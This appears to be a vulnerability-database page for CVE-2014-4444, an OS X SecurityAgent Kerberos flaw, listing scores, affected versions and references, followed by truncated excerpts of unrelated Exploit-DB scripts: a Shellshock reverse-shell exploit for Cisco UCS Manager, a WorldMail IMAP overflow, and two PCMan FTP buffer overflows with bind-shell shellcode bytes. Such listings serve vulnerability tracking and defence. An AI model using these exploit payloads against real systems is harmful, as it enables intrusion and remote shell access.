CVE-2014-4444
published 2014-10-18CVE-2014-4444: SecurityAgent in Apple OS X before 10.10 does not ensure that a Kerberos ticket is in the cache for the correct user, which allows local users to gain…
PriorityP417medium4.4CVSS 2.0
AVLACMAuNCPIPAP
EPSS
0.27%
19.8th percentile
SecurityAgent in Apple OS X before 10.10 does not ensure that a Kerberos ticket is in the cache for the correct user, which allows local users to gain privileges in opportunistic circumstances by leveraging a Fast User Switching login.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | mac_os_x | <= 10.9.5 | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock)
exploitdb·2016-03-16·CVSS 8.8
CVE-2014-6278 [HIGH] Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock)
Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock)
---
#!/usr/bin/python
###############################################
# Cisco UCS Manager 2.1(1b) Shellshock Exploit
#
# CVE-2014-6278
# Confirmed on version 2.1(1b), but more are likely vulnerable.
# Cisco's advisory:
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
# Exploit generates a reverse shell to a nc listener.
# Exploit Author: @thatchriseckert
###############################################
import sys
import requests
import time
if len(sys.argv) "
print "[*]"
print "[*] Example: shellshock.py 127.0.0.1 127.0.0.1 4444"
print "[*] Listener: nc -lvp "
print "\n"
sys.exit()
#Disables request warning for cert validation ignore.
requests.packages.urllib3.disable_warning
Exploit-DB
Eudora Qualcomm WorldMail 9.0.333.0 - IMAPd Service UID Buffer Overflow
exploitdb·2014-02-16
CVE-2014-10031 Eudora Qualcomm WorldMail 9.0.333.0 - IMAPd Service UID Buffer Overflow
Eudora Qualcomm WorldMail 9.0.333.0 - IMAPd Service UID Buffer Overflow
---
#!/usr/bin/python
# Tested on 6.1.19.0
import sys,socket
banner = """
####################################################################################
### ###
### Coded by: Muhammad Alharmeel ###
### ###
####################################################################################
* Details: *
* *
* - PRE AUTHENTICATION Eudora Qualcomm WorldMail 9.0.333.0 IMAPd Service *
* Preauthentication Buffer Overflow. *
* - Tested on: Windows Server 2003 SP1. *
* - SEH gets overwritten at 749 bytes when using UID command. *
* Only 79 bytes left after SEH, So the shellcode was placed before SEH *
* and backward jump is used after SEH to execute the shellcode. *
* - Shellcode: shell_bind_tcp LPORT*4444 EXITFUN
Exploit-DB
PCMan FTP Server 2.07 - 'ABOR' Remote Buffer Overflow
exploitdb·2014-01-29
CVE-2013-4730 PCMan FTP Server 2.07 - 'ABOR' Remote Buffer Overflow
PCMan FTP Server 2.07 - 'ABOR' Remote Buffer Overflow
---
# Exploit Title: PCMAN FTP 2.07 ABOR Command Buffer Overflow
# Date: Jan 25,2014
# Exploit Author: Mahmod Mahajna (Mahy)
# Version: 2.07
# Tested on: Windows 7 sp1 x64 (english)
# Email: [email protected]
import socket as s
from sys import argv
#
if(len(argv) != 4):
print "USAGE: %s host " % argv[0]
exit(1)
else:
#store command line arguments
script,host,fuser,fpass=argv
#vars
junk = '\x41' * 2011 #overwrite function (ABOR) with garbage/junk chars
espaddress = '\x59\x06\xbb\x76' # 76BB0659
nops = '\x90' * 10
shellcode = ( # BIND SHELL | PORT 4444
"\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"
"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"
"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x
Exploit-DB
PCMan FTP Server 2.07 - 'CWD' Remote Buffer Overflow
exploitdb·2014-01-29
CVE-2013-4730 PCMan FTP Server 2.07 - 'CWD' Remote Buffer Overflow
PCMan FTP Server 2.07 - 'CWD' Remote Buffer Overflow
---
# Exploit Title: PCMAN FTP 2.07 CWD Command Buffer Overflow
# Date: Jan 25,2014
# Exploit Author: Mahmod Mahajna (Mahy)
# Version: 2.07
# Tested on: Windows 7 sp1 x64 (english)
# Email: [email protected]
import socket as s
from sys import argv
#
if(len(argv) != 4):
print "USAGE: %s host " % argv[0]
exit(1)
else:
#store command line arguments
script,host,fuser,fpass=argv
#vars
junk = '\x41' * 2012 #overwrite function (CWD) with garbage/junk chars
espaddress = '\x59\x06\xbb\x76' # 76BB0659
nops = '\x90' * 10
shellcode = ( # BIND SHELL | PORT 4444
"\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"
"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"
"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07"
No writeups or analysis indexed.
http://archives.neohapsis.com/archives/bugtraq/2014-10/0101.htmlhttp://www.securitytracker.com/id/1031063https://exchange.xforce.ibmcloud.com/vulnerabilities/97623https://support.apple.com/kb/HT6535http://archives.neohapsis.com/archives/bugtraq/2014-10/0101.htmlhttp://www.securitytracker.com/id/1031063https://exchange.xforce.ibmcloud.com/vulnerabilities/97623https://support.apple.com/kb/HT6535
2014-10-18
Published